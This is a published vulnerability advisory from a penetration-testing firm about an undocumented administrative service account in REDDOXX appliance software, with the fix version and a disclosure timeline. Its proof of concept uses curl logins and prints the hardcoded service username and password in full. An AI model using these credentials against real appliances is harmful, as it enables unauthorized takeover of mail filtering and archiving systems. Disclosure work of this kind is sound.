Advisory: Undocumented Administrative Service Account in REDDOXX Appliance RedTeam Pentesting discovered an undocumented service account in the REDDOXX appliance software, which allows attackers to access the administrative interface of the appliance and change its configuration. Details ======= Product: REDDOXX Appliance Affected Versions: Build 2032 / v2.0.625, older versions likely affected too Fixed Versions: Version 2032 SP2 Vulnerability Type: Hidden Service Account Security Risk: high Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-007 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ Through the ISO provided on the vendor's homepage [1], it was possible to analyze the files in a typical REDDOXX appliance [0] installation. As part of this process, hardcoded credentials for a service account were found in a .NET binary file. With these credentials, it was possible to authenticate against the administrative interface. Proof of Concept ================ The following curl command-line shows an unsuccessful login attempt with invalid credentials against the administrative interface: ------------------------------------------------------------------------ $ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "redteam@local", "Password":"redteam"}' http://www.example.com/api/v1/proxy/auth/credentials | jq . { "ResponseStatus": { "ErrorCode": "Unauthorized", "Message": "Invalid UserName or Password", "Errors": [] } } ------------------------------------------------------------------------ When the credentials extracted from the binaries are provided however, the webserver returns a session ID instead of an error message, indicating a successful login: ------------------------------------------------------------------------ $ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "rdx-build-in-service-user@local", "Password":"rdx!1ntern4l"}' http://www.example.com/api/v1/proxy/auth/credentials | jq . { "SessionId": "Qm5odfSFB2tVh8De6HjD", "UserName": "rdx-build-in-service-user@local", "DisplayName": "", "ResponseStatus": {} } ------------------------------------------------------------------------ Workaround ========== None Fix === Update the appliance software to Version 2032 SP2. Security Risk ============= The hidden service account allows attackers to authenticate to the administrative interface of the appliance. With this level of access, the appliance can be completely reconfigured. For example, core functionalities, such as spam filtering or archiving, can be disabled. RedTeam Pentesting assumes that the hidden service account is present on all REDDOXX installations and rates its presence as a high risk. Timeline ======== 2017-05-17 Vulnerability identified 2017-05-23 Customer approved disclosure of vulnerability 2017-05-26 Customer provided details of vulnerability to vendor 2017-06-21 Vulnerability reported as fixed by vendor 2017-07-24 Advisory released References ========== [0] https://www.reddoxx.com/en/ [1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads (Requires login) RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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